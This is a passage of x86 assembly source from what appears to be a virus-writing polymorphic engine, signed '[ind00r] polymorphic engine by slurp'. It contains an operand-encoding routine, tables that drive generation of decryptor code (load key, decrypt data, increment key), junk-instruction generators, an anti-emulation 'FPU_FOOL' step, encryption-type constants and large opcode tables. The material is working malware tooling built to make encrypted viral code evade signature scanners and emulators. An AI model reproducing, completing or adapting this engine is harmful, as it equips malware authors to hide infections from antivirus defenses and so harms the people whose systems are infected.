; [ESP] normally indicates that SIB byte follows. when you use [ESP] this
; procedure generates SIB byte (24h). when you want to use SIB byte, use
; MOD_SIB.
;
; if no displacement, sib byte and [ebp] as base, zero 8-bit displacement
; is used if MOD_DIRECT + MOD_SIB, immediate address is used as base...
; AL = MOD_NODISP, MOD_DISP8 or MOD_DISP32 (or MOD_SIB if sib)
; CL = base
; REG_???
; CH = index
; REG_??? (not ESP) + NOSCALE/SCALE_2/4/8
;
; AL = MOD_NODISP, MOD_DISP8 or MOD_DISP32 (or MOD_SIB if sib)
shl ebx, 03h ; register
; let's check if operand is register
mov eax, ecx
and al, MOD_REG ; clear bits 0-5
xor al, MOD_REG ; invert bit 6 & 7
jnz CMblah1 ; memory operand.
xchg eax, ecx
and al, 0C7h
or eax, ebx
stosb ; directly create it!
xor eax, eax ; return MOD_NODISP
jmp CMexit1
CMblah1: mov eax, ecx
and al, 0C7h
cmp al, REG_EBP ; EBP and no displacement?
jnz CMblah2
or cl, MOD_DISP8 ; use 8-bit displacement
CMblah2: mov eax, ecx
and al, 07h or MOD_DIRECT or MOD_SIB
cmp al, REG_ESP ; ESP is index reg?
jnz CMblah3 ; nope
or eax, ebx
and cl, MOD_REG
or eax, ecx
stosb
mov byte ptr [edi], 24h
inc edi
and al, MOD_REG
jmp CMexit1
CMblah3: mov eax, ecx
test al, MOD_DIRECT ; direct addressing?
jz CMblah4 ; nope
and cl, 38h
or cl, REG_EBP ; no displacement and EBP
CMblah4: mov eax, ecx
test al, MOD_SIB ; do we have SIB byte?
jz CMblah6 ; no SIB byte
; set ESP as index register (SIB)
and al, 0C0h or MOD_SIB or MOD_DIRECT
or al, REG_ESP
and cl, 0C7h or MOD_SIB or MOD_DIRECT
CMblah6: and al, 0C7h
or eax, ebx
stosb
mov eax, ecx
and al, 0C7h or MOD_SIB or MOD_DIRECT
CMexit1:
; created MOD/RM byte. now let's do the displacement
test eax, eax ; no displacement?
jz COexit ; yes, exit
test al, MOD_SIB ; SIB byte?
jz COblah ; no, don't store SIB byte
shl ch, 03h ; creatin' SIB byte
push eax ; preserving addressing mode
and al, REG_RND - 1 ; mask base register
or al, ch
stosb ; store SIB byte
pop eax
COblah: test al, MOD_DIRECT ; direct addressing?
jnz COdirect ; yes, store VA & exit
COblah2: test al, MOD_DISP8 ; do we have 8-bit displacement?
jz COblah3 ; no, perform next check
xchg esi, eax
stosb
jmp COexit
COblah3: test al, MOD_DISP32
jz COexit
COdirect: xchg esi, eax
stosd
COexit: mov [esp], edi
popad
ret
ciCreateOperand endp
; initialized data
db '[ind00r] polymorphic engine by slurp', 0
; decryptor instructions generator addresses (relative to idelta)
Generatorz dd offset iProcLdPtr - idelta ; load pointer
dd offset iProcLdCnt - idelta ; load counter
dd offset iProcLdKey - idelta ; load key
dd offset iProcDecData - idelta ; decrypt data
dd offset iProcIncKey - idelta ; increment key
dd offset iProcIncPtr - idelta ; increment pointer
dd offset iProcDecCnt - idelta ; decrement counter
dd offset iProcFPUFool - idelta ; neat stuff :O
; junk instruction generator addresses (relative to idelta)
JunkGen dd offset iMemJunk - idelta
dd offset iRegJunk - idelta
JUNKGEN_CNT equ 02h
; decryptor procedures are called in this order:
CallOrder1 db LOAD_POINTER ; <20>
db LOAD_COUNTER ; <20> these procedures can
db LOAD_KEY ; <20> be mixed.
CALL_ORDER_1 equ $ - CallOrder1
db DECRYPT_DATA ; stays at its place
CALL_ORDER_2 equ $ - CallOrder1
CallOrder2 db INC_KEY ; <20>
db INC_POINTER ; <20> these procedures can
db DEC_COUNTER ; <20> be mixed.
db FPU_FOOL ; <20>
db JUNK_PROCS dup (JUNK_PROC) ; <20>
; procedure order (1 byte for each procedures that will be mixed randomly)
ProcedureOrder db LOAD_POINTER
db LOAD_COUNTER
db LOAD_KEY
db DECRYPT_DATA
db INC_KEY
db INC_POINTER
db DEC_COUNTER
db FPU_FOOL
db JUNK_PROCS dup (JUNK_PROC)
PROC_ORDER equ $ - ProcedureOrder
; registerz
Registers equ $
preg db REG_ECX ; pointer register
creg db REG_EDX ; counter register
kreg db REG_EAX ; key register
junkreg1 db REG_EBX ; junk register 1
junkreg2 db REG_ESI ; junk register 2
junkreg3 db REG_EDI ; junk register 3
USED_REGS equ $ - Registers
RandomConst dd RANDOM_SEED ; random seed constant (unchanged
; during runtime)
idelta equ $ ; delta offset (held in ebp)
; uninitialized data
RandomSeed dd ? ; random seed (changed)
InitValues equ $ ; some values we have to initialize
JunkSpSize dd ? ; size of junk space
JunkSpRVA dd ? ; address of junk space
DecryptRVA dd ? ; address of encrypted code
CryptSize dd ? ; size of crypted code
EncryptRVA dd ? ; address of code to encrypt
CryptKey dd ? ; encryption key
KeyIncrement dd ? ; key incrementation
CryptType db ? ; encryption type (byte)
KeyIncType db ? ; key increment type (byte)
ProcParameters db MAX_PROCS + 1 dup (?)
ProcAddress dd MAX_PROCS + 1 dup (?)
JunkProcs db ? ; number of junk procedures
ProcCount db ? ; number of procedures
CurrentProc db ? ; identifies current procedure when
; in the generator loop.
InLoop db ? ; boolean, if true we are
; generating decryptor loop
nojunk db ?
; procedure number constantz
LOAD_POINTER equ 00h
LOAD_COUNTER equ 01h
LOAD_KEY equ 02h
DECRYPT_DATA equ 03h
INC_KEY equ 04h ; increment key
INC_POINTER equ 05h ; increment pointer by 4
DEC_COUNTER equ 06h ; decrement counter by 1
FPU_FOOL equ 07h ; some anti emulatin' stuff
JUNK_PROC equ 08h
MAX_PROCS equ JUNK_PROC + JUNK_PROCS + 1
MIN_PROCS equ JUNK_PROC + 1
JUNK_PROCS equ 04h ; maximal junk procedure count - 1
MAX_PARAMS equ 04h ; maximal number of parameters
; encryption type constantz
ENC_XOR equ 00000000b ; xor encryption
ENC_ADD equ 00000001b ; add encryption
ENC_SUB equ 00000010b ; sub encryption
ENC_ROL equ 00000011b ; rol encryption
ENC_ROR equ 00000100b ; ror encryption
ENC_RND equ 5
; key increment type constantz
KEY_INC equ 00000000b ; rol key with random value
KEY_DEC equ 00000001b ; ror key with random value
KEY_ROL equ 00000010b ; inc key with random value
KEY_ROR equ 00000011b ; dec key with random value
KEY_RND equ 4
; i386 instruction set constants
; correct order of register on stack after a pushad. offset relative
; to ESP
PUSHAD_EAX equ (REG_EDI - REG_EAX) * 4 ; location of EAX
PUSHAD_ECX equ (REG_EDI - REG_ECX) * 4 ; location of ECX
PUSHAD_EDX equ (REG_EDI - REG_EDX) * 4 ; location of EDX
PUSHAD_EBX equ (REG_EDI - REG_EBX) * 4 ; location of EBX
PUSHAD_ESP equ (REG_EDI - REG_ESP) * 4 ; location of ESP
PUSHAD_EBP equ (REG_EDI - REG_EBP) * 4 ; location of EBP
PUSHAD_ESI equ (REG_EDI - REG_ESI) * 4 ; location of ESI
PUSHAD_EDI equ (REG_EDI - REG_EDI) * 4 ; location of EDI
PUSHAD_SIZE equ 8 * 04h ; size of pushad record
; dword registerz
REG_EAX equ 00000000b
REG_ECX equ 00000001b
REG_EDX equ 00000010b
REG_EBX equ 00000011b
REG_ESP equ 00000100b
REG_EBP equ 00000101b
REG_ESI equ 00000110b
REG_EDI equ 00000111b
; word registerz
REG_AX equ 00000000b
REG_CX equ 00000001b
REG_DX equ 00000010b
REG_BX equ 00000011b
REG_SP equ 00000100b
REG_BP equ 00000101b
REG_SI equ 00000110b
REG_DI equ 00000111b
; byte registerz
REG_AL equ 00000000b
REG_CL equ 00000001b
REG_DL equ 00000010b
REG_BL equ 00000011b
REG_AH equ 00000100b
REG_CH equ 00000101b
REG_DH equ 00000110b
REG_BH equ 00000111b
; fpu registerz
REG_ST0 equ 00000000b
REG_ST1 equ 00000001b
REG_ST2 equ 00000010b
REG_ST3 equ 00000011b
REG_ST4 equ 00000100b
REG_ST5 equ 00000101b
REG_ST6 equ 00000110b
REG_ST7 equ 00000111b
REG_RND equ REG_EDI + 1
; jump opcode constantz
JMP_SHORT equ 0EBh
JMP_LONG equ 0E9h
JMPC_SHORT equ 070h
JMPC_LONG equ 080h ; 2 byte opcode!
; conditions
COND_C equ 002h ; carry
COND_NC equ 003h ; no carry
COND_E equ 004h ; equal A = B
COND_NE equ 005h ; not equal A != B
COND_Z equ 004h ; zero A = B
COND_NZ equ 005h ; not zero A != B
COND_S equ 008h ; sign msb = 1
COND_NS equ 009h ; no sign msb = 0
COND_P equ 00Ah ; parity even lsb = 0
COND_NP equ 00Bh ; parity odd lsb = 1
COND_O equ 000h ; overflow msb was toggled
COND_NO equ 001h ; no overflow msb wasn't toggled
COND_B equ COND_C ; below A > B
COND_NAE equ COND_B ; neither above or equal A > B
COND_NB equ COND_NC ; not below A <20> B
COND_AE equ COND_NB ; above or equal A <20> B
COND_BE equ 006h ; below or equal A <20> B
COND_NA equ COND_BE ; not above A <20> B
COND_NBE equ 007h ; neither below or equal A < B
COND_A equ COND_NBE ; above A < B
COND_L equ 00Ch ; less A > B
COND_NGE equ COND_L ; neither greater or equal A > B
COND_NL equ 00Dh ; not less A <20> B
COND_GE equ COND_NL ; greater or equal A <20> B
COND_LE equ 00Eh ; less or equal A <20> B
COND_NG equ COND_LE ; not greater A <20> B
COND_NLE equ 00Fh ; neither less or equal A < B
COND_G equ COND_NLE ; greater A < B
; call opcode constantz
CALL_DIRECT equ 0E8h
; procedure commands
PROC_ENTER equ 0C8h
PROC_LEAVE equ 0C9h
PROC_RETP equ 0C2h
PROC_RET equ 0C3h
MOV_EBP_ESP equ 0EC8Bh
; stack opcodes
PUSH_REG equ 050h ; xor REG_???
POP_REG equ 058h
PUSH_IMM equ 068h
PUSH_IMM_SX equ 06Ah
POP_MEM equ 08Fh
; increment/decrement opcodes
INC_REG equ 040h
DEC_REG equ 048h
INCDEC_GROUP equ 0FEh
; mov opcodes
MOV_REG_RM equ 0
MOV_REG_IMM equ 0B0h ; mov register, immediate
MOV_REG_IMM8 equ 0B0h
MOV_REG_IMM32 equ 0B8h
MOV_MEM_IMM equ 0C6h ; mov memory, immediate
; extended mov opcodes
MOVX equ 0B6h
MOVX_BYTE equ 000h
MOVX_WORD equ 001h
MOVX_ZX equ 000h
MOVX_SX equ 008h
; load effective address
LOAD_EA equ 08Dh
; Flag set/clear commands
CLR_CRY equ 0F8h
SET_CRY equ 0F9h
CLR_INT equ 0FAh
SET_INT equ 0FBh
CLR_DIR equ 0FCh
SET_DIR equ 0FDh
; Common opcode constants
; prefixes
ESC_2BYTE equ 0Fh
OPERAND_SIZE equ 66h
ADDRESS_SIZE equ 67h
; segment override prefix
OVERRIDE_FS equ 64h
OVERRIDE_GS equ 65h
; operand size
OPSIZE_8 equ 00h
OPSIZE_32 equ 01h
OPSIZE_16 equ 02h
; direction
MEM_REG equ 00h
REG_MEM equ 01h
; some opcodes support direct EAX/AX/AL access
USE_EAX equ 04h
XCHG_EAX_REG equ 090h ; add register number to get opcode (not eax)
OP_NOP equ 090h ; very obsolete :x<
TEST_EAX_IMM equ 0A8h
; Shift operation constants
OP_SHIFT equ 0C0h
SHIFT_IMM equ 000h ; shift immediate
SHIFT_1 equ 001h ; shift 1 time
SHIFT_CL equ 002h ; shift cl times
SHIFT_RND equ 003h ; for choosing random shift.
ROL_SHIFT equ 000h
ROR_SHIFT equ 001h
RCL_SHIFT equ 002h
RCR_SHIFT equ 003h
SHL_SHIFT equ 004h
SHR_SHIFT equ 005h
SAR_SHIFT equ 006h
RND_SHIFT equ 007h
OP_GROUP1 equ 080h ; opcode for immediate group 1
OP_GROUP3 equ 0F6h ; opcode for shift group 3
; jmp, call, push, inc, dec group
OP_GROUP5 equ 0FFh ; opcode for jmpcallpushincdec group 5
P_INC equ 000h
P_DEC equ 001h
P_CALL_NEAR equ 002h ; call dword ptr
P_CALL_FAR equ 003h ; call 48-bit ptr
P_JMP_NEAR equ 004h ; jmp dword ptr
P_JMP_FAR equ 005h ; jmp 48-bit ptr
P_PUSH equ 006h
; Math operation constants
OPTYPE_ADD equ 00h
OPTYPE_OR equ 01h
OPTYPE_ADC equ 02h
OPTYPE_SBB equ 03h
OPTYPE_AND equ 04h
OPTYPE_SUB equ 05h
OPTYPE_XOR equ 06h
OPTYPE_CMP equ 07h
OPTYPE_MOV equ 008h
OPTYPE_TEST equ 009h
OPTYPE_XCHG equ 00Ah
; Math opcode constants
MATH_ADD equ OPTYPE_ADD shl 03h
MATH_OR equ OPTYPE_OR shl 03h
MATH_ADC equ OPTYPE_ADC shl 03h
MATH_SBB equ OPTYPE_SBB shl 03h
MATH_AND equ OPTYPE_AND shl 03h
MATH_SUB equ OPTYPE_SUB shl 03h
MATH_XOR equ OPTYPE_XOR shl 03h
MATH_CMP equ OPTYPE_CMP shl 03h
; Immediate opcode constants
IMM_OP equ 80h
IMM_SX equ 03h ; sign extended immediate
; MOD/RM constants
; MOD bits
MOD_NODISP equ 000h ; no displacement
MOD_DISP8 equ 040h ; 8-bit displacement
MOD_DISP32 equ 080h ; 32-bit displacement
MOD_REG equ 0C0h ; register
_MOD equ 011000000b ; mask for MOD-field
MOD_DIRECT equ 00001000b ; use immediate address
MOD_SIB equ 00010000b ; use sib byte
; REG bits
_REG equ 000111000b ; mask for REG-field
; RM bits
RM_DIRECT equ REG_EBP xor MOD_NODISP
RM_SIB equ REG_ESP
_RM equ 000000111b ; mask for RM field
; FPU opcodes
FPU_OPCODE equ 0D8h
FPU_DWORD_OP equ 0D8h ; dword ops/fpu reg ops
FPU_DWORD_LDST equ 0D9h ; group 1 - 4, FLD, FST, ...
FPU_INT_OP equ 0DAh ; dword operations
FPU_INT_LDST equ 0DBh ; group 5, FILD, FIST
FPU_QWORD_OP equ 0DCh ; qword ops/fpu reg ops
FPU_QWORD_LDST equ 0DDh ; qword FILD, FIST
FPU_WORD_OP equ 0DEh ; word ops (only mem), and reversed arithmetix
FPU_WORD_LDST equ 0DFh ; word FILD, FIST
; FPU opcode + MOD/RM (bl = FPU_FMUL, FDIV...)
;
; they'll fit to the following opcodez:
; FPU_DWORD_OP, FPU_QWORD_OP & FPU_WORD_OP
; IMPORTANT: note that the word operations won't work with fpu registers!
FPU_ADD equ 000b ; MOD/RM bit 3,4,5 = 001
FPU_MUL equ 001b
FPU_CMP equ 010b
FPU_COMP equ 011b
FPU_SUB equ 100b
FPU_SUBR equ 101b
FPU_DIV equ 110b
FPU_DIVR equ 111b
; FPU_WORD_OP group contains some opcodes with reversed register order.
; this means first comes st(?) and then the first register.
FPU_ADDP equ 000b ; MOD/RM bit 3,4,5 = 001
FPU_MULP equ 001b
FPU_COMPP equ 011b
FPU_SUBRP equ 100b
FPU_SUBP equ 101b
FPU_DIVRP equ 110b
FPU_DIVP equ 111b
FPU_DIR1 equ 000h ; direction st, st(?)
FPU_DIR2 equ 004h ; direction st(?), st
; FPU stand alone instructions
FPU_INIT equ 0E3DBh
FPU_SQRT equ 0FAD9h
FPU_LD1 equ 0E8D9h
FPU_LDL2T equ 0E9D9h
FPU_LDL2E equ 0EAD9h
FPU_LDPI equ 0EBD9h
FPU_LDLG2 equ 0ECD9h
FPU_LDLN2 equ 0EDD9h
FPU_LDZ equ 0EED9h
FPU_WAIT equ 09Bh
FPU_STORE equ 02h
FPU_LOAD equ 00h
; end of ipe32
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